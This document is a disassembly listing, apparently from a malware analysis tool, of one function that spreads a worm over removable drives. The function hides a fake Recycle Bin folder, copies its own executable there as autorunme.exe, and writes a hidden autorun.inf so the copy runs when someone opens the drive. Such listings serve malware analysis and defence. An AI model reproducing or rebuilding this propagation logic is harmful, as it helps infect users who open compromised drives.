Function at 0x40107d
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
jmp 0x40e317
sub esp, 0x410
mov eax, dword [0x420fec]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
mov ebx, dword [esp + 0x418]
lea eax, [esp + 0x10]
push ebp
push esi
push edi
mov ebp, 0x200
mov dword [esp + 0x10], ebx
push ebp
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x34]
add esp, 0x18
push ebx
push eax
call esi
push str.RECYCLER
lea eax, [esp + 0x20]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x1c]
push 0
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40e3b6
call edi
cmp eax, 0xb7
je 0x40e3b6
xor eax, eax
mov ecx, dword [esp + 0x41c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004013b1
add esp, 0x410
ret
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x1c]
push 7
push eax
call ebp
push str.S_1_6_21_2434476501_1644491937_600003330_1213
lea eax, [esp + 0x20]
push eax
call esi
push 0
lea eax, [esp + 0x20]
push eax
call ebx
test eax, eax
jne 0x40e3e7
call edi
cmp eax, 0xb7
jne 0x40e39b
push 7
lea eax, [esp + 0x20]
push eax
call ebp
push str.Desktop.ini
lea eax, [esp + 0x20]
push eax
call esi
xor ebx, ebx
lea eax, [esp + 0x1c]
push ebx
push 6
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 1
jb 0x40e39b
push ebx
lea eax, [esp + 0x18]
push eax
push 0x3f
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x40e444
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40e39b
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + eax + 0x1c]
jmp 0x40e45e
dec eax
cmp byte [eax], 0x5c
jne 0x40e45d
mov byte [eax + 1], 0
lea eax, [esp + 0x1c]
push str.autorunme.exe
push eax
call esi
push 0x1ff
lea eax, [esp + 0x220]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
push 7
push eax
call ebp
xor ecx, ecx
mov eax, 0x200
cmp ecx, eax
jae 0x40e5b7
mov byte [esp + ecx + 0x21c], 0
inc ecx
cmp ecx, eax
jb 0x40e4b9
cmp byte [esp + 0x1c], 0x5c
lea edi, [esp + 0x1c]
je 0x40e4d7
inc edi
cmp byte [edi], 0x5c
jne 0x40e4d1
push str._autorun__r_nopen
lea eax, [esp + 0x220]
inc edi
push eax
call esi
push edi
lea eax, [esp + 0x220]
push eax
call esi
push str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
lea eax, [esp + 0x220]
push eax
call esi
push edi
lea eax, [esp + 0x220]
push eax
call esi
push str._r_nshellopendefault1
lea eax, [esp + 0x220]
push eax
call esi
xor eax, eax
mov ecx, 0x200
cmp eax, ecx
jae 0x40e5b7
mov byte [esp + eax + 0x1c], 0
inc eax
cmp eax, ecx
jb 0x40e52a
push dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
call esi
push str._autorun.inf
lea eax, [esp + 0x20]
push eax
call esi
push 0x80
lea eax, [esp + 0x20]
push eax
call ebp
xor eax, eax
push eax
push 7
push 2
push eax
push eax
push 0x40000000
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x40e39b
push 0
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x228]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x40e5ac
call ebx
jmp 0x40e39b
call ebx
mov eax, dword [esp + 0x18]
jmp 0x40e39d
call fcn.004011e5
int3